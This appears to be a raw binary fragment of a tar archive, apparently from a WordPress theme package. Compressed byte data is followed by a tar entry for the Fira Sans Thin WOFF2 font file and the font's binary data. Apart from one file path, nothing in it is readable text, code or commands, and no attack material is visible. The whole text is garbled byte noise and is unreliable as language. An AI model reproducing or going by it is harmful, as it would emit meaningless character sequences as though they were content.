nߐ@-,RJjO_PkotpwHd(_Rh) ^3i;h.)\A-m5gɗZWC{Zfkm|zƵ\UX<(,|g>smGKUsxC:*Qê`.VjWW+צDw3ؿ/s7Զe6_%< ݔ&jb,"oeρOo??^/]6qrMcrDgD'8*K H,LL|`; 9i9nUYې6C:zzl2 Xvgm^qOܬM?vzl3,qyݠNM9w)S6ݕ= yOvж7nqkf=k;YGI%ǚPP'Bntczm2r\YB|ƥs4u겊㹪>/mӘtJH=כW^y"/m6i>w 5@.Vd޽{;ܼ}{8bWJo꧆->yݳ'^@X@cWh>"~h͠Vҿ<)-UlZޫUZ%q3SQ{ Zڷ#ޏm~d9:8-Ʈ-XrzF9."|N|k{iϞ4'zqb1A43y_J+[$7k˕$adt?*4~|W߇ H={- sׄ FyɠDZY3+ڿ~Нˇ\]~- $9 fwNƲfvyfrcy )ʘltq(KRv;>*#uWfü/DDS~%gb#?= 9e+8M:݉{kr=N"mG и@ K/?/‚fF#7䚛9=vO^c_?ȦZޮ[fXW%;]6Mѡ`<vđ%i5BcA=bv"h3gtj JXBѤY\vZu̓xb _+\};a(³LJ=ЊŃZt7^ -Pu2SԚ&8p r.6e1;Bۃ 2"a.ƋW\l2Р2X7.0+f:2c,i͜c@GKWv3iLx+99jWƢŜN9[1;Og`GFO6kcRa@ӎ(NsGk q"?“aGZv_{ u{l[mT.Wf.Hxhk Exًnq`ퟲq[Ap2(lI_m] GCӹeuےdGt'=JU|[:m g,~Qpp_!dǽli$,ASg40 nƟ2Ki_fXl rfBߘ!xZ9EȣTG.q,}x "BlEYmkLٵ>5g#Hȥ QYsdYY-14hB|$n=ёhnhx$? Bu{5~4̀;Paeu"Y%:#_~{$`2vvLzDMQb@T-(C/'Tv^ɤF}$ [%RQsZןIE`2ZO>)#v?عڼ1(lP\",&LޡG=e!I4<+eW Vs!׌AGvKYsvں,2=>Φ?]fbTǍr^҈GeYcuY6Ei-egO3}Tk$ݦbRuIqHχz=ǧ>5L~/{vN8&ZU38Rn1h:06n/Ԋ}:&eS$'RCe۵Gi8)ŝ.Z{IY6ҧ;c|0<ښ[nG4cO7 /߁ap  m*G@ҎtB iG8+7_6]&#h;DX'w X3&כ4,AւT&"3 JڂEp/`XRLf7p/#+xʍA6ų'[YoTɓ"&?^IQy=)bw:kq DɏCS۪6ϓ؆ktM(9#&n sSa{qZkX_U&hU5"jACcJx}cZ%2D K$[~+<z i̴Nj; =O@x3c/GEbԸuj4#0H\6TyPxmqRȳ^ ( >B$U6ғ9ab4f} lGm/ tlMFH5h.GD+r+h(lo[fi<5I*TAݦ1ؓ\%Z M:`bA(QrxeB,fphn|CAʍ`\ϩng24K3F7&y}OdaEsj_yR8,*}]U'urɡly&~Z?kǞOӒ>RRD}EbkYB:}XcYDwi8HwE+n58\G?l{ߋ4<gp?_ދZԡAUx K&ُ#i[/eƇ9l;X?>{΅"!YYvB Aihuoc|],yd2щEqjGƒ]ҭ{R;bzԷ+!*]YVR}1$Zp^ 5 ["F4dk@>472Фx;=ގ}ol52%Jôpn,m\3O=X:.T8ga~+FYFuMq%0w+ +T t• twV+$U୔ ~HSݑDSi'Ty_3aaZ Q{]/E"ԦŞ&OqqbZaĆHnheLGV[nr{FݑpIJ[GpF|QAiFEm┪gHMt k..R?"];(BkS xYu:nwS6Fܨaؐ)~ pe txdaP5PV1\*36F$9-2+ӂjLwR¶TmHC> Y*8VLUF[=p? ,XW< C"lx9#6mXrϞ ,ItZ@u49){+D3C4&X8=]ρy L+ԓ |z-B0!y ifR>ye6i(-^lD9bN=FO65L5'92;S: qDr-TI@)6'w u aGM1Oe\+ttmMLo:p晟qg,r>Lᮊm9$7cc|[ Xo*qLD3@Dިg_T6ʅ` Ewigkhec $ ^|9DyJjĞDϋw9[0T"iL9N 9~g+]% .Hfg |Q!ɞB+O"-viǶPb6<h.5]S~p[_ev+|- gIR,Z]$VښGfVh_۲)Ѩ8p{/iv{ lf"4]9'5%yHƎ>ko`K IԤT)>͇c;-!OՌ4j4іa5SHF9"S\OCN8! oað6pYP i!D*Rh+>ȭ#_=P3dF5Kq/)#i)BZRa(jI#mږV`S+t}{DXE},} քrF`@P{mƜF):x^)H% bpXS{^1/3(lwӚI? '! dUY(6Hp!CeLFW9Ad+#O"lu +Sտi02 %kQMf/R{b{~wG2DN뙧s+4u#̛违@Xko>2l*1)JgI 3cٸ{*~ 9;QߗkW|њavn!c ]KR(]o{:sjF41mvUH,;gYQ{f`Q ^;ZcG<\DQ /tj5O{eEcP|I#l115G`kLzUK Bs cV4TXڪ[# J,wۂȃzϣ}x?p b8R?̶wW/m:)D|Exyۻu)O?3B&u;;cZK-Ve &zh$-2?ȉ<XH`gGNXɍ-hdE(4[NR./=0^Fux'< _ N oXf®)Ƽ_] M08}EϹW4AlsO6 K KWP|4aI#ɛS5sR-9P= J6">AtNr4Pe:$ȲX6 (HV_ZC0+9}M+e53}_[c"!a!\4S޺]s1a@;g=eN_4_&2XZ&5Nm J};]35s,ib*n&L2#3H9yEvBl͸6޶wN~JN?Yn20F?|-NH{o7 RI ]`|Xsu"8CT9 UE2F ͱQpe y$JB-8P]AEmR<~ȫw0h=7z67;?^ą @;UW;0tL܏*`pu㜨= Ʀ>|bvR_xqEhDb=@a:X-Ͼb٦qё!#$TE溱nh&)EsZ}3U2wvC 08\<ia*Tjh#bvWaR[y'B0ܵ*-][ Å4HvL2M95r t= `>&ߕwCti[ ee,1Gf-'D22]);Mb&F.LPP t,Q ͨ 2r؛I =( 60\7ڟZ&IuI%~_AFG>$?46J\RՍLJ >TsbDo_?>kDdU?rD}ţxߤ_л p`/qU KȼEF+3( s:CO5T9w|r;hKdlSV\T 28ЀBJxGR$t@MSqR턨r.\~S3=aQ#vZ2/!ڳfpLvkn/vb_&,0eՔ[9O~|rbgfN#(>(\uorgXk:3sKA+UV`_cG_KÇN8I+ iZCy/htcFJb*b9(xbt'qcAHUM .xaԄXߍ. n9td~:fO.vnKbk3~e)龄^ol'gc 14ʯ # h(j,ARo{ĤGCwJ4Od{V26L'zFL4i2`#jIg~:lRa FSfws%k2;0MYm}2d+h Zsa+S! .K# .E =Wۃ9_9J[Cf'<9;|Uoul{Օ}kz3lGAY򊃞yx؟|V(?c"c@vĿeVE$/Hȉ֘2M*Lو"GR:^Yd+4ü0R "BJǒ7=K*\`0#BsĆ[yY*lke CﲔW)x:z䵃Ma}5C'bK(5[apZi7Feq -L+NV]qZC@Sţ=>5 㽻HilPة"Ȳ!lוN9)f3xW+ : K`T;x `v& 0GVR.+|ċcFOX?߮_ )fKPUG0X *94m4- k pݼ:\9?k3߁>Y ƛp 4Ca&48gb&GM`W<0_Z\*ɡ1`xXpu 4A$U9P+Q^}#ӔGFj;5A),}ɀ,%&2ADcbP`嚽8,%rgq?ʁ5y];-^3yl,wKI(Me+&eqc->Us̺Vc!Ƞ{aT|(C/>{~3 6eW9L*saK[)aՊ`[h 1HPl!2YX),:G/-|X?%ڗ쾆^m; z>%wBaOyOn 3`k_1vN*6cTtq9]$q %%>>cڥX߱ʞo"sw}BMtK\44I;.ߩas 2R>mq)>YE[X1(ň#8DNT޳k5yA9@*dPU$QGɖ4\6?BRd~$*6aM Iɨ8a|y7XE;1c}/E-[A*L*k?Ҷ}x)!_!z)p4R*'FWt6{8 :lRBOA\+(H> ]0dsj@)\l9r9 wy#rj%荮+M %4 T[BJ7u df Nڧ!vO4_ $GQ0, Ih^FmjTy@f|cCA[q~*HlE(<=I7z/$r{mܼ5DG6H48tmM6яjGw{>HKʇ4Nteyc6(Ej( XkF&K}*3H C%/*Яc{iL; TdJZңv9-Oِ{(U;S.!Ojd!ўD+'4uQ;-iֱ\8 ,Dt^Vט3_ 1:_2YT w;1GED"7OKEv@s Sh䯃Nk.z #:z",na.m޲/l>1R%jϒfWY#a!#P?ks4p0*)AQ4q5? w1FVaakȑ\lp'9h;1sTVH.?]ts||2xW/qyZkvZL7&s:ug}d/1S)tQ>⧑U~HjZ_$薙|ѮQj ϓ7'Qywۺ~p@R-E¥.ϷL#6 iK5󠝎]hu$]^ t*!JԎ&`fDN}:(W@[?lv^0S'@ET"64vuqɻبϣt0`Pº_qV(!gXƗPuUS7z[4== ' ]p&d? }BiMhu^3a[U~SG&mri4ȿ_w?s5Uc[+3|WN;QvvV#Jɇf^l Maf{Uŧvd%I^CjJX)N"ozɡoWC|E^3:OОVeTsVh(EAwK=+q<+H l}&ڌ %;=cw"r>)r+xޯf~)_x?E[2]ܿW:fsfXOk4?~QA !|{c\MڲQ~u K ʲÁ&xt9/2f/[j9$O46xTqx77Q_F*D=@ä+G$?]f0e}4]@dJu7ϦTaKo*^ӡOJc$oYPM8dZJci݃hӈP(bTJ$]$T-EDBA_iQ6lHC EhxJ0Ȃ'=6$,z1 P)=ZiJ!WDY|lj3Y9"iz/˔CtMS㔪1qC7E:5j)]nl4y+ X:: ` \_e'Ap,h:ݨS"24rš<amtcnl;eS;Ck;I&RS< ND"R=QHVXzmKG-`kǦR$"`8-(aIآer a7HXk&Kr=Q8DD==S 2;:!L<;&J8qsA0?QLyT5N9M! ,jDUk<)vp4LEr,B{E? TD,oMH"i_y kۃ^)Ey-csSlh+YqDd!ۉ4-M*$wh.;/qF3TGs=f̋d[_KQxT{BaԇӥFD_jRAp"i|I^KS:: Vhu:uż"ך$V@I#87=5׵j`6fH[M3!YY-MO3^$ }i)USk߂G$rz~ݐs&tw; IjTHE6韩 OR<99pn!}cDsd>`g7G Zb_pV,-DTr?*O~ lR$B n{Az>]R9|*^{3@èjNNT-ΰh}\ay7E,yO|:ny:ӯ,@qxܳ̎5=/tl, ~0{hsj(VPmUDAՕK2c$n?TK-^E>OSaE䤢[ :ۈ![4ި/r\-Yjc)r(02=b-~. Kr%kb>ԙGqb8W\<~$6QHnPU,k)/[Ŭ,wSfz&xZpۏ֦pkn𲕦$<'n^݁Q$rq큜 sd=qZ B"w9E$@'WmvR2&8b *lGҵ;e;[f7zcҵKFXY==U5"orq%5%;"[2dU=_3nH ѰSs%kD-Bc7\Ōgzwv3gJDFϺauAr+aw@ךQȾT}~ohBO  0x[[à2?L*y']fm\[ns@w;ѩ<Vc +a + {ģ@ahHbH& ۃT9 4ҹmFQvi 1tCJ]>*^ΓnR/7lFB5OK)V"m{R3]XP +kڢsP6]kWrC)M.}U*vJG #@{FY(`<,rmۦ%WqtZں\bq$3%5wTx[EcQpGE:+ozy!DOo!5 X>K*YY O)t;!0QSLeR%p2Phnshy 1&;ci>\lQߍT[S䝴hSH% حq\*ұB0fR3  SÜRrsӤU:5͙&d"v.W18 u8ZfhL QbT0R=U.F%=I1LzG4J?㨿'u}\IӧH YyRC&}RoLS5,L-3h},5kSsZdS#VrQ+_W\Y@-7T( fic:r?[mikj\WG@߯ &f ־lx,q9&U8.蒏]vUF/ Fms;&+)!Ƙ:i6S pSnKQit$! e1UT; yF&|0T%#TY ‘h,   -:0 3c ;p#D6ONCrHT5^>~*jZ:zF&S  $ "L &H, [Êy @ @@ASI& DL, ANAAi<31.8D/C 8/c8`&4pHa ༱! !$21(rzW8+o.rXpfĵ{f,+\z'raZz>7*F|Q]/wڣ P;x;/nۆU-&7BW)S m_;'0]t^FqrHT5^>a^ }S@R54uȱ'@2'5,Pe7,Zu%Usrs!U[XJJIJ 0fKRwbqxDPitp5}1֩vɉ3 狢je;3Y(ʸJƖQ&eU7m4/uڝ.P2.LgeI =~x:_;E HAaN1VS70426a!P`"L &H, j82JgWA=G7Vt9&׳ӠH¡SS$:M!0QuuYea19l{_pS-901r@+4crxrr:0(sǟYҗPkoA& [Z; b p*60n6?B,WP+dٿ9 Cd9\_ %vVpo *t ,BGp5ut X / L9p/C FCUDH%b(?( ^%U(^j/qpNʸb*}V3+Mgp~̛lf󇱎3C ndN0le,OQEƒp:긟7D$Nc_D]aunjIy"dXjrAX.uG]ZKYdрD: r4t~gYЅ?G#]):8n8A#EASA(60~ „2 .{&qOHn&aBT\ „2 @ eRicseʸ'*&qOHU"L(㞐JDP=!66W0{T\ „2 &@ eRics-ʸ'&qOHu"L(㞐JDP=!660{B*mp3ʸ'&qOH͕"L(㞐J;td"Lhl k2l0RicsE6Wjse\ K3UʸL",66Wy<2]-\%jgl)Q\T5t-TFrRhӵNREJZMa8AJe-W(Uj6])Q\T5t=ƿ8L:X;\0{B*mlaB=!Δ"L(㞐Jc1c1YDPOH3UʸP&W0{B*m z9s9| „2 !B!BH)RJ)RNj 8AJ)ZPm6 RJrRhuN-W(Um. R*hBRkzR\T5GpOicGsgb#(YBT\@ eRiCS# %o" (,A0F~ %f@kȾ!bX( )9=ר} 1?R"N?;E!<6:d܌{WM kMBMk rz \kr>Z4P_b2 F Wmd4/(idҸ("&!%3ޮ2>ֵ]t~3c2z_!`p0. k呥H,/_񑄫?mAd{`Sm?ޘ{g<;yxI(g0?)ѵ֏g&#cO3| TN2y{hUVUJ2|A+!\ rc~W? j&H2-~44D=+T9u?.*R4#* *x%,!R.&R3*~p-#xdT_?/"j$ݝ wS~ )=F$?tǷFBJx 9cR-TV29ֈp"MNg9bLM*FNSzc+{is5o5Pv_yf-@ZhK%pE^hm#. n[j&m p% vҷ #r ( 1q8GZ0XVP ĞGp3Bhb' tNtYnn L3FL<V)߹w?[= 5H ph:M nVQqI}`X8q:\c4Z0e6 b8"$CFG*XC })R]AHcJ7wI݅ǭc0(b *2%La'(D 71G<9wZq5b-2j0۴e^nc5= $g+ 5}] Gt .5W1XUob99zF^'q4HxkoӾ[ 9t펐4DRĐ!.Gt #h6 <?!R08Q:@FP,`$x@FP,tZ!B0b9= #([>`p2= #+fӲQ!A|ʹk{ 8&j}^D43:%V?bu:&55բm4F}R:vaoMd:;?tJ[pBCmd)Aց/t{ Y^rL!k{ky_RP[iHho4+[i \RF5r};#! u1$A *hPK#jHC#1޿ blKIoDkW-i$m*GoT&Dr 4 (&HFɵxaQ5NVimi%([pYApUW/g CAb0@e 1(QiHN#SHJX/N\+RGDy!q? tjKٵ BR qT>R6r}5Nn}75t^h^`:XN,:uh#4/N xzg&*ɜIH/ /ٌ7<Σ~!,uUH>b㜐1#`b}ٍ6؆ \b9~~Kac}s^=ZV"Dc#eIP8ˀhٿ_uy=/#z3{׭i&r391]~e׶Jmmtk5?M?wV_FN6d `z3H LX =~t߀?@ 3Zn~YԱ'<_wT07x9M!Fn3Oܾe0T_֛uFϖ(򞒞8H]szrthemes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2000064400000445470152335264760021434 0ustar00wOF2K89JM.:`h  `d6$  s o[ٞ* L uEL-"m5&c~`$Km2Mwө11*NK͵ܱ-!.Ao2f%YngJG!H[KZG1%ljXRHBV(\VJz m[JmtbKM0oԕjG,8TiE*@a LleMmsqZ`i΍S9U)`@zqީ^I [$ APUauɱ<BV|c .4]0f&4`c Q w7b--2bfGݓ͌0Xuh8! Lirt<ʰ'!0ȧgZZsVT61H.  i3 r1,YKP2@0dgב"0kVBPk rڄ`εq ͬfmf4.j$\][Zf"6CFgػ {(Ex8]d IAh|? ;; X~>q*2!nSmjgf eLhgj\ڢ"10qҚ~[1g!(n ouqQ #i$ؾ!m,Z}2NRn4o'h"h"șHmeZnl\^Z?WUS4KPJ9`Vlm:_z"Lp2Gh,~LV(4T}=vN%Iu?_KSG-%W= ϔ4rLt{;vHX*baiܗ'w`[˫q'jĉF5jԨQF5jԨvcƌ3f̘1cƌ,?~8p dyr,8@!x ,ۊ zWC37X;5;ceѾml,gzUv:{t~?~dfI&~29gzdI&dI&dI&3dLf9f2݋!->XEP Pnm<}==6 Sj8bk?$"0Kpl@g𕨪߱ce#B }ԗ 0~ԡy! e"TX(@Xp'@h<5J2e`o_@APo1<*X-6:Aidg Z߻҃ %HWM\Fİ3}]#$o l$z_ZDO2^h=p  tJ,nf?㷕` d Xuʔ2dnuA0uE{Q%,V<*>\AbNt:p'یe|ät.22>J}%7.TrigǿIv&y/ESa+HhuikqIg%RDK+ @EoCx*0w úIcH+up'z:S8 9QԭPࠀp }6ji'ü$ 3yWkϯ$U2}mҝAZvSFE /viDx 1&WIRmJ0`r;v<:WI`+@Jn8=9qS8eoǽ/klp 5PM9)Z= evS=sg&y3YיRk<5Q=j0@%JtV <1 Y8*ߧi-xPe 呂*S[ eeOC7s}iU7B/XX IGェzUݔk$1mZt#0|o%`' dFnFnoAO˷Z&Є] ̯zuAafbxsH "c_4㐐3 <>w@p[[9Cqڒ#`0DhhqѿmZԉC-fWM|l8ARn`3޽Ϡ< qH#мUUo %\';ƋƘ(6dg 7~A.<鼋Q d289;nԄ\i.s , kiIy{QU$fg@kgvNrϗ6κ.8v2t"8gfM465.JPlm `rŏjwzzYKI5rhbs11;Sf25 bݤ0a`ep46gy"܎0҆QWjZ+elT@$_֭ao:s.bobm Ϣ@(Rh2J7҇a.6\wB߻ݺOIqhhBuN7,6 ޕ)*{FD_ʴ=KGP™o|DQa\ADLjT Y5ϻ>sq|4#⯵_=.1JF"wݡ/n}YQȐXݼ^AHG-14k"V"#+( Ab}K'Q{[Y-TF.u}619@6-S,.j;s2+tS_I&LAQ"߃ #g?N.Q.3ePB7mW]8뢈RK$ R爲g5# ,ett ke6+2NDFr;*C:&EfFL=E IsxMΧ`^[',†c PJUSjFcCC!w덟voI ! aM]#\*0Ƅ(g( cLa,qory=R\$B O|w&}~ZjEETq#J$?Y D1'D)7RU݉ߗI liUojUj^DT:1&"<_M W1d|o˶_{}%H 2 }趖u{o&ADDa A sCg}ZUj5jԈxTWt("7HP1'ODH*TeLM81#G _ 9wzBUebb̜oknu# #&.߭LuIr%I8f}o*U~=IaSB| r:$$6w>ȜIPoc}t"`۷p#k=}b۴iD :0D!kj[{@}\u(LwQJ !ԐȦ=MZ^=̾S)B! ""[VKP]c~6s qU\C"Y4ŵ\!I%`'n7VL⿭7Z&vf7Oy7hjMPw旿7oPL5PVpO?B?\S>Ӆ6 1=c| T^r(Drq*eMz ^X`N`\qۋo8{K>?<Ϳ4F2 1cE'BM/IPhpE#kJ +Yy.ɏ'C /'N~w=ڼZ4V(QH @2rwla,ҡC>j;w l?ǎD!* a =x╙|$lR 1Q^0y/#YR"<Ǭ1ov'WQJY9WDa{.IX,VB^p؟= 9! 1\Do` ݨCA?ESl3mjJ]:d>̧tTNbLW^vj̝>^n* vidEQ_}^a>g8i–-招TewUD54r 7?'R6(#Ք{3K@ fǎp|ߌ/71=}HG%e. ^AX 7!Z3o>zBpUiefr4z1ъ~O3}?AT7lz޶mB:[k^ы\g~ $vY*;blClBTQ.PNh,zILMN>:kqZ_dGRU02dEqH,)UcC#ciu UY)r.iӟ( i T0ofR|f)J& /p 2j7 ETՃh+`1pj /ZA+hJYMI=R:̕=y:̧-xNҤ w$>|ЫBk}C?K0>Oѷt]Nx&b'L1 B]u5ࢉ$aTS5ĈkP4p/L%NT$ V; o+ '@ʁÆrzO$'g>Q݀ 817aSƧNhz d} GKoF#U1@D+KX8vĺչm42H!7.T| zyYWw2(?hAeovz[עgaӑ;[](X*N l[C0(;b&Ujn}8q!B4rG#\4]ږl|[PP7fߣ~P sæxWy|Yt }P6T L[F#bb Ko\3/{RhdG|Bq=*OLB"LDJ$Kύ0Qz̪Q[ΤG_~ trX 03]2.0q-2*^ @ddh=!^HVj!1Q6(#lY?qfiz'ܥ!!g!Ըt9B )_Ŭjs68,[CE*,b*nt k7"Օh᧨\fc9?tqOΣQ Gྑxd]!noA3%IQǛ^+fВ<]4<ڻPjJrxm-p%pgsr]u[+%TJݜ}cOd)/C-I>P30Xn*0iԪ7!V;ˮjVcOGnVŒhTpnK$d,Ms*{S()s9>;)9%s)Υ9kYM^/LqCiDJ*eHjT`jVe+ܠAFCZ46Ky6T\B~"8k'GeϹtĐ̂ے12K/985-2k`{l1[ 96F88m4=~e($C:y̲,jfNiCl_b5***XLϵT|jm]W -1(.IFJ1w-cŌzMANjhЅ 4Q͓Mk>ϵhEl$wYFk[mcVBN{h_;Xu duXoaZWv{K z #Ɍd(lu3m`~!L!Gס?94M1h2\M晆_RE6Z,9Bm4>-tMu(i$d#J%V9-R*BID*ZLu8l@Qђ2$#^ @HI<`|97 ʊ)"(I$N IH`*Iāo*^,l,.gȍvFjCh6|Un.E#uC)#c۰oh*sSbce+k}vw"%Іv>D0{p飘ï~TQl x!??p?l }XCao( * kW-ڠqQYS2HNƬ, F8>۩YE#1{8Fhu4ySshaeMF%' Z*$?)@$VfTe5w3N5] ЬaǰXc0i&,vk0…ƺiZm1z۩1]Ƿ#]q)}/͏w,i=lI&ɋiʛ\oePS6^M߹ܨ<'~+GR:}pI_k\N\[l0<cio?}<˹{ڙ/z@æB){p.\1^`9Xx[}:!;6nr>:JOƺ P\rH>"'+uas:Q&JO+9vTqT[3ajjj:e~)̧f_e Rg֫j!@rMd׳C 3^:!(7gm,O^4KaC1)ӿ<)[;iXqqPk$ $M7*KU1dœe2 :W %D.>!1)9X$xtWT76S\J$&[pŗ/&\܆&kMSKxu'G9f$2dS*RW4%h]G| ǛdfgrѵlvN @nEDδM%-j,G؇GQdLz?IL^=6@ 1 s_7Z%v]Wpf`a XIX[r8w_7%Ϩ}cTޗFƫ04pQ{90 0\XgL@;1S0=]؍=b\m^"ICw 9Oxa ` }Tv!,pP$'-C={3v'k.utS=հ`.]v1إ`î] v5ص`nv Vmawv^}a&/pupuqi\!1 A7÷\m3 pUr%NKi.4jX`2gh=Dijtnr#n07{:aiǖtv5&BKp@(]c.D_8ڽIJ^z ЬA2JV9 Z K7: uhɟk1o6oeyư$~yZqˤ&ci'%vŝ *SzZo?[Ww1WY?'=գk6V5n)78o|T!QT1{֡ڻz(wˁ`(?H$SL6_*W/vd:/f{A*VAt{A4.G_p Jt>b )Vx %1H"Ut2eɖ#W| )VT TRF:kШI ڴeI9x>h& dCk % !$=O_#1%3)$2U-5{hx 6E.v6:8s/ XwdjW:5 cTK^,h8.'uOV.grz?x3h6mDaMŠjjp%CkqMC< *'z7MUjmEM56xk/ǀ^qc-ZsVSsn}N/iFnpP, 3$ "<( :NLo/B_9(ϙx/KB^cid>N( nHq!6^ڙhfUlc穤0Sژ jo6(eY&z·9!';2m$x_ގkƂ(ZL߄Ŷc}x%ՁOp6(`.C¶ߋ7zG`ZȔK ;7_)=-KE_zZgd*"2L'qU8^U̙ʙ7rB`%rL|5Q75%>ͥ0IrKC{]|>F )lg;Ɯw![5'=Rg(zNJ]bt'o 9W1Qcj`/\/ZgOb梡2وpqN]."L>R vUa{kQѵ]K~븨N<87~\h`k4e%o5 a$&](ۨ~^ HOP6釰 ~SMoI`˹P`eK12V &_p%l^j!yOk0>KzF ʗ+:'$~chG*f w{ *.:܃>*M .p֌#nd%cHEGjǻ8T"^R%ϐ9yyDڏ1ȇ|YJc,wiyyXLД XSxDITRTŎ$gUdSWR]?__?wx+Ac^=Azk|e0ٿ;H׀|ѭ|d!4wf7p^ѬzE eA" rvq?MA'5=歍hK&Dj0:W]48TH9g\,N0_1`3U< Z7=)RNYNDc2VF:?An43B؝G-eGĝ= K)iĞk762uQz_ل3"~PrZ60aY9,5nq*'],ًY,lA-*WjjIx9mR3!(rK鋢NXHc<\_~0 t,jp8¥7"*0YXrt ^ɴ$ ݃W4$?I:RѹGDAa?[-`;Lnd̥mXHh](jdY| U8!M{LfiZʖdq;wfmB^k,e" q,W (%ҎǾ;>T65[k=#Oa-I񫼆2X@5ǨR].yԳn-.v s&xwsEyߚ{\ٺxr ezR6E9VGW?17$hJ6!v\26ɚ@r& &P$Q0Y'狘fTLըLӔi"Z;=f: {mGosy\UuǘV|i͵a p$ o.X%p21W&_||.}Xڡ<:^׮#ÔRHZ/m!Cz}~OeePN5 qU6+j2pbDUxƞ<,,߫a{*8)Fnc)ƙ gs].;>6rgr|s77=?w?:n[>{% -+tEY\x(C} %ďN(ᤪEU~eL?B>"z.0(6Ea`0.C+#s" LEi$(dHtK$6ms,to XNݺ+uFRo $Z?.1x̒J:^?$\EaD9zN;/2?,,觇RE\6p:/vq*z¬c<4r/JpB :V5`g`+4N:_$FwE!؜UL_!xt|ĘD06&5:y:}OM5jZKĝWs1mcC[`.h."RfB9Cvի~Dn8|A^e'kvK||=/$OpR#zǙ[y/ЀaP1I,D8$ #KVd#o4,$BwVydE9F;`/t!AAiEpR'vW|AEik#<=ON zAͦKu[Kw%2(MBBB ܬiܵ)<{%L ]0Ȳ%H(N3QxB !CYK CW=C5 J5-wtTT6&KX)+ƚcAA:&Uc&Wl{ݘuNڇ]'Di^.Q;L]iJW;TT'4Lk54t~OϋMҔ%)1euKNdwl+C-_5b/ʆB>KkJ䩧kZ )Im1#SBMSDƍ1j A-bNTJ҆ѕ-Xh5E%jdVHJ2tP[f>k U07PXb)Z1"**ZchP][eB Yis;= pqliLj(ҩWA+K?6.MN~<~''@6jf>LG4`"Lfτ%1WO .GbY@)cbeM @t; oѡK"?|l ^7-i*xN#x ?! ;-?K$W`nRjo':Ѵ#ʥ3|31)ABf)iFQiJRa:vmj82bxZ34gx>ΧD`EMmJtT \TRK=cf)Vz_AtcCHF@D# 27@ Q9V6v4:bs<@(K0PW1u8Ha22oS0iN@6QM(h C ;$sO5j#k'\ [!\ua]a`e ZK{¥ަP!-ĺ(7 Dp[AV-ᒆb0zl!4\@VX ظ e!,S ^zB(^z:.lö@M(]wKLi?%,Bv)^)$ssEaF"mDT0"sObKدC::2iqQQ^GNt,1ذb1*t>Y R7ee+0`? /{ p $XϪIdSo_2kRvK5]*R8ܔ /+0Wm5IΪ,uVW}تU $(BDڅ'Oh89<ɵI.LrUR$Q$2@zlBx8 DZ܈XĀb} ,ċBS kb"Jt'RXC2Ys+a! IV1M*1CO 3uw )m% e FD͕/^pYM[5GPu'r'm"jay4NtW 2z * ??68/tHPqD2}ktK-nz3;vOY^C?JХэ$tWyqeIZi?vm>;w)He> !х'V\yO]+^ VB3).g=O(_μ?o1Ywy`]\;a,>fF;D\}zJD\~Y1+UE].R² ?% 1D&F3'p|l܋H'\QMG( I3~[wc3_"5\AG\VI9ᦈhVfp)ɢiπ:Ecw dPq{^ ea߶M7H1BLBKMH8@e)U(qЩ% /qߌd~~nƋǨ[*baՄ%Ggm섽= !9(4_`iMkLTNH.? d$4% qȹkVHtzfFuIra "y:$jxxˠ\MoL/SڷO9dŻX!jjïygzqFB'kVz)<$qܱ2!PJhke WX,\c5~ۀw.9 rMSd+PH ދ6Č .H(:-kɠkQzr1Qi_ÀCqG9thcO;zZ#q)hC̥()zѫ [ u% :Vjؒ.cno$߻me\h&q2kXg@GjHc8fE?Opt<˱''j\)aLW2~>a?&|1e@DT /{ŢAf#Y3cʐ3,҄iBܔ:^iğ>Ha*)<#34Ҝa88L2EnmXlֹl*g̱RiťUF90 ^UmuRo 4LY/كm$m_mVڲGgZRIT!{ ՒQU/UDW(Լ/E#]m=z;/T/W iXHV$紊*aA.K="#'AZݞ,/!e28aۋKH lKf;e6R #e*{N~iÇ KKYG Hj0&Ih&Y %Iؒh^'%0~R^,Prll[+6l;1i8& :ӫ[Kh&?mK W ʎ w%gEQl+1@Hv6l)*j϶,2qv`9 Yk.DA!T4Npb yf(r+ m$6&xiryDaʛ)\ l%ǖL0b$f?;{YСc31 u z$ J,4VBU:MʉhH?#'V2 oȈn9j&Ȅ`";[&mei\w}@uhB֔5ܵȚLa{2ݫ'%sܦyn͙7 d h@̿|6Xn6 |gD"$AQCUAmo* } p{ JGaS"o'݉b ":Z'9Ex /Ji ]"Zy*%=l9`2X:/@s@љ+8c d~F2#'[d6lásjDܽ2YR~_Hб~Ô6+Wu2ns1CΠQh.$$tu A 0Ĺ]PHɅ0 Y7v ݹ3&ZL%-^1 a:L!aÆ!V<.KL5:SvsAp-פ>+\Cv ; T ^NI':u}qWt]#p#~iIG(2R㲍O*x9<0+Ҿ_@e\A<D݌M~UkE }MNNp* %rh6u.9 "-gdJ].c}^N}\ss#%z\9b]0H`ޜQ'/C/ˆBFVSƔ L9Pp 0 UUi̋R ٔg܊ɏzg1 ȣRQ٢*ΡFOdM.W c+ezhe{_C6swH"KxR۹qe PURʧU3S5IU_Fa/QPI!1;R<и&~WmTP$D Qkw) lϯQ5fF ?Fy'-aW'ߴEDIYn򅁃'4v3QWvYZ4G;ûҼǀ%ɢ'Or\*Y30M,0mH"+b`ih9^DE,~ GBm7V+:̈ցDԤ`VʡHCOJ*AB4"U&rw"$4 `y#\WfC,>>j.bQZ0{)K\T|%Qa؛@q}07qbLGT;QrRh#>o-EPA+T@A l.P%Yʟ8k'J FC+*" I V:3StL3/moe 1qwniY,@u4Ey(HSp1"pE4G"/'0EZ;r<2S1v0#FC_aE(hxSE3X؅kPU1Y,@,9Í B=o`x"woT+yY]@N O:]B*pV`W\D̽Uq+ںw8#MXn];Q#g땭'e :K׻v5ٶhp888\ JRxizFB=<< {FU& c€떆V\0:pfG>׭1p)xPoUa+|@<|aEBh]s.`o xEWCv.3eg? f}(ʩxv[Ӯ9"嶡l&_ɑ[w WЍ/4c ʑ9rGEa:U@@Av3 &ll_rx\G 65HG0)(jרF M4,rFW"%T-rf82rI T.2 YP-5j+yFd!Ir `Hhed}w^*;lts'RtW}C"J<'[\þ҈(Jѕm7倕FSP9߀]誾4fP| BA0 zpIH >!Aj#xGN:j#Ơhn" M\QE)M貉BTBIP-'҇^!zшJi{1ڈ;&RD`)mXlo 1z?.tUn;tB_*Hh"D#FOK@9)"0y"h4RJP KʽR*I$Gqz-fgzǰX.4!%2PtC,yVK˳q>„P٭WoCoay A3l=Hosn7Hɒ YcPBCw C |V2VZykYc`6:w*5W]bU;} /e(bDթ DBz 2Xfs:&r$ZCcC98; JTdnp緝!%}~WSR0( Б՘o){4[ԣˏv&*ffn^6G_u3IB*Jް$H+ţ9"Qa*QMGBu 